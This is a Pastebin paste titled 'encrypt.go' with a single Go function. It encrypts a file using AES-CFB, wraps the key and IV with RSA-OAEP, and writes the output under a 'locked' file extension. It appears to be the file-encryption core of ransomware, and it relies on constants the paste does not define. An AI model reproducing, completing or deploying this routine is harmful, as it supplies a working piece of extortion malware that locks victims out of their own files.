Advertisement
FlyFar

encrypt.go

Dec 17th, 2023
895
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 0.79 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import (
  4.     "crypto/rsa"
  5.     "io/ioutil"
  6.  
  7.     "crypto/aes"
  8.     "crypto/rand"
  9.  
  10.     "crypto/cipher"
  11.  
  12.     "crypto/sha256"
  13. )
  14.  
  15. func encrypt(file string, priv *rsa.PrivateKey) {
  16.     data, err := ioutil.ReadFile(file)
  17.  
  18.     if err != nil {
  19.         panic(err)
  20.     }
  21.  
  22.     key := make([]byte, KeySize)
  23.     rand.Read(key)
  24.  
  25.     iv := make([]byte, aes.BlockSize)
  26.     rand.Read(iv)
  27.  
  28.     header := append(key, iv...)
  29.     pub := priv.PublicKey
  30.  
  31.     label := []byte("")
  32.     header, err = rsa.EncryptOAEP(sha256.New(), rand.Reader, &pub, header, label)
  33.  
  34.     if err != nil {
  35.         panic(err)
  36.     }
  37.  
  38.     block, err := aes.NewCipher(key)
  39.  
  40.     if err != nil {
  41.         panic(err)
  42.     }
  43.  
  44.     cipher := cipher.NewCFBEncrypter(block, iv)
  45.     cipher.XORKeyStream(data, data)
  46.  
  47.     data = append(header, data...)
  48.  
  49.     ioutil.WriteFile(file+LockedExtension, data, 0777)
  50. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement